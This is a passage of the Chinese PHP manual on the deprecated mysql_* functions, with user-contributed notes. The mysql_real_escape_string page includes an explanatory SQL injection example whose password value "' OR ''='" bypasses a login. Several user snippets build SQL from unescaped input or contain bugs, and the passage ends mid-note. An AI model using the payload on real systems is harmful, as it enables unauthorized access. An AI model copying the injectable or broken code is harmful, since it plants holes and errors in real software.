Be warned if you use different parameters for mysql_pconnect() in different scripts on server: PHP can create single persistent connection for every set of parameters in each process up to mysql.max_persistent (PHP directive) per process. So even if you have MaxClients Apache directive set lesser then max_connections MySQL directive, you can easily get Too many connections MySQL error.

If mysql.max_persistent is set to other value than -1 (unlimited, default value), connections over this limit are silently denied, so use it with care.

Solution: For servers with potentially unlimited set of connection parameters, forbid persistent connection with mysql.allow_persistent=Off.
script_this at yahoo dot com 05-Aug-2003 11:41
in response to uthayakutty76 at yahoo dot com's
30-Jun-2003 12:31 post:

-----------------------------------------------------------
...The problem is that the connection to the MySQL
servers is interrupted very quickly or there is not
connection at all. We found out that when using the
domain of the server instead of "localhost" problems
occur.....
-----------------------------------------------------------

try setting the wait_timeout variable in my.cnf for
mysql very high so the connections aren't ever idle for
that amount of time.  ridiculous really, but it works for
localhost or remote database server where as the
localhost solution only works if the database is local i
think.
pulstar at mail dot com 18-Jul-2003 11:13
I had some problems when connecting to a remote server with mysql_pconnect and using the flag MYSQL_CLIENT_COMPRESS. Sometimes it connect, but many times it give me the error:
Warning: mysql_pconnect(): Unknown database 'XXXXX'

If you have the same problem, try using mysql_connect instead. It worked fine for me. The script will take a long to reconnect each time the page is reloaded, but it will transfer data with compression. This is a little more secure than to send plain data over the Internet and also more faster when transmiting large amount of data.
rochlin at centralpets dot com 12-Jul-2003 08:27
Do not use transactions (e.g. with InnoDB MySQL tables) with persistent connections.  If your script stops or exits for any reason, your transaction will be left open and your locks will be left on.  You have to reset MySQL to release them (so far as I can figure).   They won't ROLLBACK automatically on error, like they ought to.   When you restart the script, you'll get a new connection, so you can't rollback or commit for the previous script.   Any script with a start transaction, rollback, or commit SQL statement should use regular (not persistent) connections.   Seems like PHP ought to automatically issue a ROLLBACK on any open transactions when a script exits (error or otherwise) without a COMMIT.  ZEND's site has a brief blurb on this.  It's OK to mix/match so you use a persistent connection for the read stuff, but open a new regular connection conditionally (if you have to update, which is usually less often).
rudenko at id.com.ua 08-Apr-2003 07:15
You can solve problem with persistent connections setting directive mysql.allow_persistent = Off in php configuration file. The users whitch will try to create persistant connetion /mysql_pconnect()/ will be connected to db
with nonpersistant connection /mysql_connect()/

For more info see user notes at section Persistant Connections. http://www.php.net/manual/en/features.persistent-connections.php
--
http://www.id.com.ua Ilya Rudenko
amn -at- frognet.net 11-Mar-2003 10:45
Be careful using mysql_pconnect. If you are hosting on an ISP, they may frown upon you using multiple persistant mysql connections as this consumes resources for a longer period of time. If your script crashes, your connection can stay open for long periods of time. If there is a loop involved, you could accidently eat up all the available connections. That might be considered abuse by an ISP and you could get in trouble. Try using mysql_connect first instead. 90% of the time, a non-persistant mysql_connect call will do the trick just fine.
fate_amendable_to_changeNOSPAM at yahoo dot com 30-Oct-2002 03:58
To tell mysql_pconnect to connect to mysql on a port other than the default use a colon - eg

mysql_pconnect("127.0.0.1:4444", "user", "pass")

would connect to localhost on port 4444

(useful for ssh tunneling etc)
david at acz dot org 23-Apr-2002 11:41
You need to be VERY careful when using LOCK TABLES with persistent connections.  If the script terminates before the UNLOCK TABLES is executed, the the table(s) will stay locked, and very likely hang future scripts.  This is noted in a bug report, but is still not reflected in the documentation: http://bugs.php.net/bug.php?id=7634
bartek at bulzak dot com 26-Feb-2002 02:37
PHP 4.1.1 running with Apache under Linux doesn't seem to be doing all necessary flushing when handling persistant mysql connections. Try it out for yourself. Create a temporary table in a pconnect session, add rows (non unique), select/display and drop the table. Now reload your script multiple times, you will see that your results are not consistent, even though you are creating a new table everytime and dropping it..

I had my share of problems with pconnect and suggest you don't use it unless absolutely necessary. In that case make sure you test your results for consistency, especially when your queries involve temporary tables or mysql session variables.

Bartek Bulzak
sasha at mysql dot com 27-Apr-2000 09:43
If you need to close idle persistent connections, set a low wait_timeout in MySQL


Ping 服务器连接的状态，如果没有连接则重新连接

  • ? mysql_pconnect
  • mysql_query ?
  • PHP Manual
  • MySQL 函数
  • Ping 服务器连接的状态，如果没有连接则重新连接

mysql_ping

(PHP 4 >= 4.3.0, PHP 5)

mysql_ping — Ping 服务器连接的状态，如果没有连接则重新连接

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_ping()

说明

mysql_ping(resource $link_identifier = NULL): bool

检查到服务器的连接是否正常。如果断开，则自动尝试连接。本函数可用于空闲很久的脚本来检查服务器是否关闭了连接，如果有必要则重新连接上。。

Note:

从 MySQL 版本 5.0.3 开始，默认情况下不启用自动重新连接功能。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

如果到服务器的连接可用则，返回 true，否则返回 false。

示例

Example #1 mysql_ping() 示例

<?php
set_time_limit(0);

$conn = mysql_connect('localhost', 'mysqluser', 'mypass');
$db = mysql_select_db('mydb');

/* Assuming this query will take a long time */
$result = mysql_query($sql);
if (!$result) {
echo 'Query #1 failed, exiting.';
exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!mysql_ping($conn)) {
echo 'Lost connection, exiting after query #1';
exit;
}
mysql_free_result($result);

/* So the connection is still alive, let's run another query */
$result2 = mysql_query($sql2);
?>

参见

  • mysql_thread_id() - 返回当前线程的 ID
  • mysql_list_processes() - 列出 MySQL 进程

User Contributed Notes

Doug 19-Apr-2010 08:24
This function *does not* attempt to reconnect at this time.  It only tells you whether or not you currently *are* connected.

To actually reconnect, you will have to implement this yourself in a wrapper class.
alext at marketdream dot com dot mx 29-Sep-2009 08:28
mysql_ping() is really helpful when you have this annoying error:

MYSQL Error 2006 Server has gone away

For CI users:
In 1.7.2 version of codeigniter, there is a function

$this->db->reconnect()

that uses mysql_ping() to reestablish the timed out connection.

This function is specially useful when developing social media sites that uses hundreds of connections to the db such asinserting or selecting.
luky37 03-Feb-2009 11:15
If you get 'error 2006: MySQL server has gone away' messages when running (really) long scripts, mysql_ping will help detecting the loss of the db-connection. This can happen, when 'wait timeout' is reached (MySQL default is 8 hours).
miro dot dietiker at md-systems dot ch 31-Aug-2007 11:32
When checking if a $resource works...
be prepared that mysql_ping returns NULL as long as $resource is no correct mysql resource.
<?php
$resource =NULL;
var_dump = @mysql_ping($resource);
# showing NULL
?>
This could be used to decide of a current $resource is a mysql or a mysqli connection when nothing else is available to do that...
dustin hawkins 31-Jul-2006 12:32
When using the mysql_ping command under php 5.1.2 and mysql 5.0, I was having problems with the auto-reconnect "feature", mainly that when the connection was severed, a mysql_ping would not automatically re-establish the connection to the database.

The connection to the DB is dropped when the time without a query excedes the wait_timeout value in my.cnf. You can check your wait_timeout by running the query "SHOW VARIABLES;"

If you're having problems auto-reconnecting when the connection is dropped, use this code:

<?php

$conn = mysql_connect('localhost','user','pass');
mysql_select_db('db',$conn);

if (!mysql_ping ($conn)) {
   //here is the major trick, you have to close the connection (even though its not currently working) for it to recreate properly.
   mysql_close($conn);
   $conn = mysql_connect('localhost','user','pass');
   mysql_select_db('db',$conn);
}

//run queries knowing that your connection is alive....

?>
cybot2000 at yahoo dot de 25-May-2005 04:44
It should be noted that mysql_ping() seems to reset the error message on the server.
I used it to check whether the connection was still alive before reading the error message via mysql_error() and it always returned an empty string. Upon removing the connection check everything worked.
vinicius at teracom dot com dot br 16-Mar-2004 07:35
Is important to remember that if your first connection to mysql don't works, mysql_ping will always return true! So, if you want to check if mysql is connected, first of all you must check if mysql_connect do not returns false and then you can begin to check mysql_ping.


发送一条 MySQL 查询

  • ? mysql_ping
  • mysql_real_escape_string ?
  • PHP Manual
  • MySQL 函数
  • 发送一条 MySQL 查询

mysql_query

(PHP 4, PHP 5)

mysql_query — 发送一条 MySQL 查询

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_query()
  • PDO::query()

说明

mysql_query(string $query, resource $link_identifier = NULL): mixed

mysql_query() 向与指定的 link_identifier 关联的服务器中的当前活动数据库发送一条查询（不支持多条查询）。

参数

query

SQL 查询语句

查询字符串不应以分号结束。 查询中被嵌入的数据应该正确地转义。

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

mysql_query() 仅对 SELECT，SHOW，DESCRIBE, EXPLAIN 和其他语句 语句返回一个 resource，如果查询出现错误则返回 false。

对于其它类型的 SQL 语句，比如INSERT, UPDATE, DELETE, DROP 之类， mysql_query() 在执行成功时返回 true，出错时返回 false。

返回的结果资源应该传递给 mysql_fetch_array() 和其他函数来处理结果表,取出返回的数据。

假定查询成功，可以调用 mysql_num_rows() 来查看对应于 SELECT 语句返回了多少行，或者调用 mysql_affected_rows() 来查看对应于 DELETE，INSERT，REPLACE 或 UPDATE 语句影响到了多少行。

如果没有权限访问查询语句中引用的表时，mysql_query() 也会返回 false。

示例

Example #1 无效的查询

以下查询语法上有错，因此 mysql_query() 失败并返回 false。

<?php
$result = mysql_query('SELECT * WHERE 1=1');
if (!$result) {
die('Invalid query: ' . mysql_error());
}

?>

Example #2 有效的查询

以下查询语法正确，所以 mysql_query() 返回了一个 resource。

<?php
// 这应该由用户提供,下面是一个示例
$firstname = 'fred';
$lastname = 'fox';

// 构造查询
// 这是执行 SQL 最好的方式
// 更多例子参见 mysql_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends
WHERE firstname='%s' AND lastname='%s'",
mysql_real_escape_string($firstname),
mysql_real_escape_string($lastname));

// 执行查询
$result = mysql_query($query);

// 检查结果
// 下面显示了实际发送给 MySQL 的查询，以及出现的错误。这对调试很有帮助。
if (!$result) {
$message = 'Invalid query: ' . mysql_error() . "\n";
$message .= 'Whole query: ' . $query;
die($message);
}

// 结果的使用
// 尝试 print $result 并不会取出结果资源中的信息
// 所以必须至少使用其中一个 mysql 结果函数
// 参见 mysql_result(), mysql_fetch_array(), mysql_fetch_row() 等。
while ($row = mysql_fetch_assoc($result)) {
echo $row['firstname'];
echo $row['lastname'];
echo $row['address'];
echo $row['age'];
}

// 释放关联结果集的资源
// 在脚本结束的时候会自动进行
mysql_free_result($result);
?>

参见

  • mysql_connect() - 打开一个到 MySQL 服务器的连接
  • mysql_error() - 返回上一个 MySQL 操作中的错误信息的文本
  • mysql_real_escape_string() - 将字符串中的特殊字符进行转义，以在 SQL 语句中使用
  • mysql_result() - 取得结果数据
  • mysql_fetch_assoc() - 从结果集中取得一行作为关联数组
  • mysql_unbuffered_query() - 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

User Contributed Notes

fbraz3 at gmail dot com 30-May-2018 07:36
This project implements a wrapper to mysql functions in PHP7.0+

https://github.com/OOPS-ORG-PHP/mysql-extension-wrapper

tested and working fine =)
mwwaygoo at hotmail dot com 03-Apr-2012 02:16
I much prefer to use the same syntax for single INSERT, REPLACE and UPDATE queries as it is easier to read and keeps my code shorter (no seperate building of insert and update values)

INSERT INTO table SET x='1', y=3
UPDATE table SET x='2' WHERE y=3

So if your using a function to build your query, you will only ever need to code the "field=value, field2=value2" part for any query.
ddlshack [at] gmail.dot.com 20-Dec-2010 09:12
Use this to neatly insert data into a mysql table:

<?php
function mysql_insert($table, $inserts) {
    $values = array_map('mysql_real_escape_string', array_values($inserts));
    $keys = array_keys($inserts);

    return mysql_query('INSERT INTO `'.$table.'` (`'.implode('`,`', $keys).'`) VALUES (\''.implode('\',\'', $values).'\')');
}
?>

For example:

<?php

mysql_insert('cars', array(
    'make' => 'Aston Martin',
    'model' => 'DB9',
    'year' => '2009',
));
?>
Richie (at) RichieBartlett.com 28-Sep-2009 04:43
For those of you whom spent hours bashing your brains against the keyboard wondering why your non-English characters are output as question marks... Try the following:

<?php

$db = mysql_connect('YOUR_DB_ADDRESS','YOUR_DB_USER','YOUR_DB_PASS') or die("Database error");
mysql_select_db('YOUR_DB', $db);

//SOLUTION::  add this comment before your 1st query -- force multiLanuage support
$result = mysql_query("set names 'utf8'");

$query = "select * from YOUR_DB_TABLE";
$result = mysql_query($query);

//-THE_REST_IS_UP_TO_YOU-

?>

Simply run the query "set names 'utf8' " against the MySQL DB and your output should appear correct.
Anonymous 25-Jun-2009 08:18
When processing a RENAME TABLE query, PHP apparently always returns false, no matter if the query was successfully processed or not.
ialsoagree 30-Jan-2009 08:24
When you run a select statement and receive a response, the data types of your response will be a string regardless of the data type of the column.

<?php
// Query to select an int column
$query = 'SELECT user_id FROM users WHERE user_id = 1';
$result = mysql_query($query);
$array = mysql_fetch_assoc($result);

// Echoes: string
echo gettype($array['user_id']);
?>
Mr. Tim 18-Sep-2008 11:42
It should be noted that mysql_query can generate an E_WARNING (not documented).  The warning that I hit was when the db user did not have permission to execute a UDF.

Expected behavior would be like an Invalid SQL statement, where there is no E_WARNING generated by mysql_query.

Warning: mysql_query() [function.mysql-query]: Unable to save result set in filename.php

The mysql_errno is 1370 and the mysql_error is:

execute command denied to user 'username'@'%' for routine 'database_name.MyUDF'
fernandoleal at loytek dot com 16-Jun-2008 03:28
Dunno if is it a bug but when you are working with replications servers and work with multiple databases queries if you don't select the database it will only insert,update,delete into the master and bypass the slave, I think it its because it doesn't insert the sql on the binary log so the work around its to just call mysql_select_db
MYSQL : 5.0.51a-log
PHP: 5.2.6
Example:
<?php
#Inserts only to master
$link=mysql_connect('host','user','pass');
$sql ="INSERT INTO mysql.host (host) VALUES ('localhost');"
var_dump(mysql_query($sql,$link));

#The Working Way Master - Slave
$link2=mysql_connect('host','user','pass');
$select_db = mysql_select_db('mysql', $link2);
var_dump(mysql_query($sql,$link2));
?>
rogier 10-Apr-2008 06:55
For all you programmers out there getting the 'Command out of synch' errors when executing a stored procedure call:

There are known bugs related to this issue, and the best workaround for avoiding this error seems to be switching to mysqli.

Still, I needed mysql to also handle these calls correctly.
The error is normally related to wrong function call sequences, though the bug report at  http://bugs.php.net/bug.php?id=39727 shows otherwise.

For me, after commenting out hundreds of lines and several introspection calls to parse the procedure information (using information_schema and 'SHOW' extensions), I still got the same error.
The first result is returned, because I initiated my connection using the MYSQL_MULTI_RESULTS value of 131072 (forget this and you will never get any output, but an error message stating mysql cannot return results in this context)

After testing with this code (sproc2 simply calls 'SELECT * FROM sometable'), I found the error must be in the mysql library/extension. Somehow, mysql does not handle multiple resultsets correctly, or is at least missing some functionality related to handling multiple results.

<?php
    //...
    $rs = mysql_query('CALL sproc2(500)');
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);

    $rs = mysql_query('CALL sproc2(500)');
    print mysql_error(); //the notorious 'command out of synch' message :(
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);
?>

After spending hours debugging my code (the full library is already over the MB), the only solution seemed to be to CLOSE the connection after the first call, and reopening it before the second.

So if you ever make a uniform database accessing interface and implement stored procedures/prepared statements (or classes for it), this could be a solution if you really wish to enable stored procedures.

Still, be aware that this is really a serious flaw in your design (and IMHO, the mysql extension)

Also see the documentation for mysqli on mysqli_query, which seems to be working fine.
masteracc0 at aol dot com 17-Nov-2007 10:00
Keep in mind when dealing with PHP & MySQL that sending a null-terminated string to a MySQL query can be misleading if you use echo($sql) in PHP because the null terminator may not be visible.

For example (this assumes connection is already made),
$string1 = "mystring\0";
$string2 = "mystring";

$query1 = "SELECT * FROM table WHERE mystring='".$string1."'"
$query2 = "SELECT * FROM table WHERE mystring='".$string2."'"

$result1 = mysql_query($query1);

$result2 = mysql_query($query2);

//$result1 IS NOT EQUAL TO $result2 but will not provide an error

//but printing these queries to the screen will provide the same result
echo($result1);
echo($result2);

Not knowing this could lead to some mind-numbing troubleshooting when dealing with any strings with a null terminator.  So now you know! :)
halion at gmail dot com 09-Aug-2007 02:53
mysql_query doesnt support multiple queries, a way round this is to use innodb and transactions

this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
      $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
jack dot whoami at gmail dot com 01-Aug-2007 06:13
Simulating an atomic operation for application locks using mysql.

$link = mysql_connect('localhost', 'user', 'pass');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}

$q = "update `table` set `LOCK`='F' where `ID`='1'";
$lock = mysql_affected_rows();

If we assume
     NOT LOCKED = "" (empty string)
     LOCKED = 'F'

then if the column LOCK had a value other than F (normally should be an empty string) the update statement sets it to F and set the affected rows to 1. Which mean than we got the lock.
If affected rows return 0 then the value of that column was already F and somebody else has the lock.

The secret lies in the following statement taken from the mysql manual:
"If you set a column to the value it currently has, MySQL notices this and does not update it."

Of course all this is possible if the all application processes agree on the locking algorithm.
veyita_angi at hotmail dot com 04-Oct-2006 09:35
this could be a nice way to print values from 2 tables with a foreign key. i have not yet tested correctly but it should work fine.

$buscar = mysql_query("SELECT k.*, e.Clasificacion FROM cat_plan_k k, cat_equipo e WHERE Tipo='$tipo' AND k.ID_Eq=a.ID_Eq");
    while ($row=mysql_fetch_array($buscar))
        {
            $nombre = "e.Clasificacion";
            $row[$nombre] = $Clasific; echo $row[$nombre].'convertido en '.$Clasific;
        }
    mysql_free_result($buscar);
cc+php at c2se dot com 02-Sep-2006 05:39
Here's a parameterised query function for MySQL similar to pg_query_params, I've been using something similar for a while now and while there is a slight drop in speed, it's far better than making a mistake escaping the parameters of your query and allowing an SQL injection attack on your server.

<?php   # Parameterised query implementation for MySQL (similar PostgreSQL's PHP function pg_query_params)
        # Example: mysql_query_params( "SELECT * FROM my_table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );

        if( !function_exists( 'mysql_query_params' ) ) {

                function mysql_query_params__callback( $at ) {
                        global $mysql_query_params__parameters;
                        return $mysql_query_params__parameters[ $at[1]-1 ];
                }

                function mysql_query_params( $query, $parameters=array(), $database=false ) {

                        // Escape parameters as required & build parameters for callback function
                        global $mysql_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : ( NULL===$v ? 'NULL' : "'".mysql_real_escape_string( $v )."'" ) );
                        $mysql_query_params__parameters = $parameters;

                        // Call using mysql_query
                        if( false===$database )
                                return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ) );
                        else    return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ), $database );

                }
        }

?>
rob desbois 07-Jul-2006 02:38
Note that the 'source' command used in the mysql client program is *not* a feature of the server but of the client.
This means that you cannot do
   mysql_query('source myfile.sql');
You will get a syntax error. Use LOAD DATA INFILE as an alternative.
22-Feb-2006 11:11
If, like me, you come from perl, you may not like having to use sprintf to 'simulate' placeholders that the DBI package from perl provides. I have created the following wrapper function for mysql_query() that allows you to use '?' characters to substitute values in your DB queries. Note that this is not how DBI in perl handles placeholders, but it's pretty similar.

<?php
    // mysql_query() wrapper. takes two arguments. first
    // is the query with '?' placeholders in it. second argument
    // is an array containing the values to substitute in place
    // of the placeholders (in order, of course).
    function mysql_prepare ($query, $phs = array()) {
        foreach ($phs as $ph) {
            $ph = "'" . mysql_real_escape_string($ph) . "'";
            $query = substr_replace(
                $query, $ph, strpos($query, '?'), 1
            );
        }

        return mysql_query($query);
    }

    // sample usage
    list($user, $passwd) = array('myuser', 'mypass');

    $sth = mysql_prepare(
        'select userid from users where userid=? and passwd=?',
        array($user, sha1($passwd))
    );
    $row = mysql_fetch_row($sth);

    // successfull username & password authentication
    if ($row !== false) {
        echo "logging in as '{$row[0]}'!\n";
    }

    // oops, wrong userid or passwd
    else {
        echo "Invalid username and password combination.\n";
    }
?>
php at arcannon dot com 01-Oct-2005 03:30
I believe there is a typo in celtic at raven-blue dot com version with:

if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I think you really ment:

if (($tsl != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I changed the $sql to $tsl
ix at nivelzero dot ro 14-Aug-2005 03:07
here's a script for parsing a *.sql file (tested only on dumps created with phpMyAdmin) which is short and simple (why do people say "here's a short and simple script" and it has a 100 lines?). the script skips comments and allows ; to be present within the querys

<?php
  function parse_mysql_dump($url){
    $file_content = file($url);
    $query = "";
    foreach($file_content as $sql_line){
      if(trim($sql_line) != "" && strpos($sql_line, "--") === false){
        $query .= $sql_line;
        if(preg_match("/;[\040]*\$/", $sql_line)){
          $result = mysql_query($query)or die(mysql_error());
          $query = "";
        }
      }
    }
  }
?>
wjyong at sh163 dot net 30-Apr-2005 04:21
The following query is not valid as expected:
<?php
$username = 'dicteworld';
$username{4} = '';
$sql = "SELECT * FROM `user` WHERE `User` = '$username'";
print($sql); // Result: SELECT * FROM `user` WHERE `User` = 'dictworld'
$res = mysql_query($query);
$row = mysql_fetch_array($res);
print_r($row);// Result: still return Array(), supposed that the user 'dictworld' exists.
?>
Pay more attention that null string '' is equivalent to '\0',therefore SQL statement above is equivalent to SELECT * FROM `user` WHERE `User` = 'dict\0world',though printing string is right.
jon at websandbox dot net 25-Jan-2005 05:25
I think it's important to note (for newbies, like me especially) that an empty result is not the same as an error:
<?php
/* 'bar' is an empty table in the db */
$rs = mysql_query("SELECT `foo` FROM `bar`")
if($rs) {
  echo mysql_num_rows($rs); //outputs: 0
}

/* malformed query /*
$rs = mysql_query("SELECT `foo` FRO `bar`");
if($rs) {
  echo "This will never be echoed";
}
?>
Predrag Supurovic 30-Nov-2003 04:52
If you need to execute sevaral SQL commands in a row (usually called batcg SQL) using PHP you canot use mysql_query() since it can execute single command only.

Here is simple but effective function that can run batch SQL commands. Take cere, if string contains semicolon (;) anywhere except as command delimiter (within string expression for example) function will not work.

function mysql_exec_batch ($p_query, $p_transaction_safe = true) {
  if ($p_transaction_safe) {
      $p_query = 'START TRANSACTION;' . $p_query . '; COMMIT;';
    };
  $query_split = preg_split ("/[;]+/", $p_query);
  foreach ($query_split as $command_line) {
    $command_line = trim($command_line);
    if ($command_line != '') {
      $query_result = mysql_query($command_line);
      if ($query_result == 0) {
        break;
      };
    };
  };
  return $query_result;
}
chris at hotmail dot com 30-Apr-2003 06:28
Windows programmers, keep in mind that although table names in Windows queries are not case sensitive, many *NIX versions of Mysql require the correct table name case (perhaps others as well). So you're better off using the right case from the beginning, in case you ever decide to go with a *NIX server.
davidc at edeca dot net 19-Apr-2003 12:30
Regarding the idea for returning all possible values of an enum field, the mySQL manual says that "SHOW COLUMNS FROM table LIKE column" should be used to do this.

The function below (presumes db connection) will return an array of the possible values of an enum.

function GetEnumValues($Table,$Column)
    {
    $dbSQL = "SHOW COLUMNS FROM ".$Table." LIKE '".$Column."'";
    $dbQuery = mysql_query($dbSQL);

    $dbRow = mysql_fetch_assoc($dbQuery);
    $EnumValues = $dbRow["Type"];

    $EnumValues = substr($EnumValues, 6, strlen($EnumValues)-8);
    $EnumValues = str_replace("','",",",$EnumValues);

    return explode(",",$EnumValues);
    }

Cavaets:

1) If the LIKE matches more than one column you get the enum from the first, so be careful with the $Column argument
2) You can't have ',' as part of one of the enums (I guess mySQL would escape this, but I haven't tried)
3) If the field isn't an enum you'll get garbage back!

This is just a quick example to show how to do it, some tidying up needs to be done (ie checking if the field is actually an enum) before it is perfect.
09-Apr-2003 12:43
Until this function prohibits them, watch out for SQL comments (--) in your input.
allen a brooker gb net 28-Mar-2003 05:35
One way to reduce the dangers of queries like the dlete command above that dletes the whole DB is to use limits wherever possible.

EG. If you have a routine that is only deisnged to delete 1 record, add 'LIMIT 1' to the end of the command. This way you'll only lose one record if someone does something stupid.

You should also check all input, especially if it is sent using GET. ie. make sure that $_GET['id'] is not NULL or == "", is a number that is positive, not 0 (generally, I know this doesn't apply to some table types, but it applies to the default) and is within the valid range for that field.

Just don't trust ANY data that is sent to your script.

HTH
Allen
nikhil-php at nols dot com 02-Jan-2000 12:38
When trying to INSERT or UPDATE and trying to put a large amount of text or data (blob) into a mysql table you might run into problems.

In mysql.err you might see:
Packet too large (73904)

To fix you just have to start up mysql with the option -O max_allowed_packet=maxsize

You would just replace maxsize with the max size you want to insert, the default is 65536


将字符串中的特殊字符进行转义，以在 SQL 语句中使用

  • ? mysql_query
  • mysql_result ?
  • PHP Manual
  • MySQL 函数
  • 将字符串中的特殊字符进行转义，以在 SQL 语句中使用

mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string — 将字符串中的特殊字符进行转义，以在 SQL 语句中使用

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_real_escape_string()
  • PDO::quote()

说明

mysql_real_escape_string(string $unescaped_string, resource $link_identifier = NULL): string

考虑到连接的当前字符集，对 unescaped_string 进行特殊字符转义，以便安全地将其放置在 mysql_query() 中。如果要插入二进制数据，则必须使用此函数。

mysql_real_escape_string() 调用 mysql 库的函数 mysql_real_escape_string, 在以下字符前添加反斜线：\x00、\n、\r、\、'、" 和 \x1a.

在向 MySQL 发送查询之前，必须始终（有少数例外）使用此函数来确保数据的安全。

Caution

安全: 默认字符集

The character set must be set either at the server level, or with the API function mysql_set_charset() for it to affect mysql_real_escape_string(). See the concepts section on character sets for more information.

参数

unescaped_string

The string that is to be escaped.

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

Returns the escaped string, or false on error.

错误／异常

Executing this function without a MySQL connection present will also emit E_WARNING level PHP errors. Only execute this function with a valid MySQL connection present.

示例

Example #1 简单 mysql_real_escape_string() 示例

<?php
// Connect
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
OR die(mysql_error());

// Query
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
mysql_real_escape_string($user),
mysql_real_escape_string($password));
?>

Example #2 mysql_real_escape_string() requires a connection example

This example demonstrates what happens if a MySQL connection is not present when calling this function.

<?php
// We have not connected to MySQL

$lastname = "O'Reilly";
$_lastname = mysql_real_escape_string($lastname);

$query = "SELECT * FROM actors WHERE last_name = '$_lastname'";

var_dump($_lastname);
var_dump($query);
?>

以上示例的输出类似于：

Warning: mysql_real_escape_string(): No such file or directory in /this/test/script.php on line 5
Warning: mysql_real_escape_string(): A link to the server could not be established in /this/test/script.php on line 5

bool(false)
string(41) "SELECT * FROM actors WHERE last_name = ''"

Example #3 An example SQL Injection Attack

<?php
// We didn't check $_POST['password'], it could be anything the user wanted! For example:
$_POST['username'] = 'aidan';
$_POST['password'] = "' OR ''='";

// Query database to check if there are any matching users
$query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";
mysql_query($query);

// This means the query sent to MySQL would be:
echo $query;
?>

The query sent to MySQL:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

This would allow anyone to log in without a valid password.

注释

Note:

A MySQL connection is required before using mysql_real_escape_string() otherwise an error of level E_WARNING is generated, and false is returned. If link_identifier isn't defined, the last MySQL connection is used.

Note:

If this function is not used to escape data, the query is vulnerable to SQL Injection Attacks.

Note: mysql_real_escape_string() does not escape % and _. These are wildcards in MySQL if combined with LIKE, GRANT, or REVOKE.

参见

  • mysql_set_charset() - 设置客户端的字符集
  • mysql_client_encoding() - 返回字符集的名称

User Contributed Notes

rohankumar dot 1524 at gmail dot com 11-Aug-2021 07:26
There is requirement for old projects which are using `mysql_escape_string`, and upgrading the PHP version to 7 and above. Basically this happens in maintenance projects where we don't know how many files the functions are used in application. We can use [mysqli.real-escape-string][1] for the function:

If you have a typical connection file like `conn.php`

    $conn = new mysqli($host, $user, $password, $db);
    // may be few more lines to handle the $conn
    if (!function_exists('mysql_escape_string')) {
        function mysql_escape_string($sting){ // if mysql_escape_string not available
            return $conn->real_escape_string($string); // escape using the $conn instance
        }
    }

  [1]: https://www.php.net/manual/en/mysqli.real-escape-string.php
Aljo 04-Nov-2017 05:14
@feedr
I elaborated his note as following:
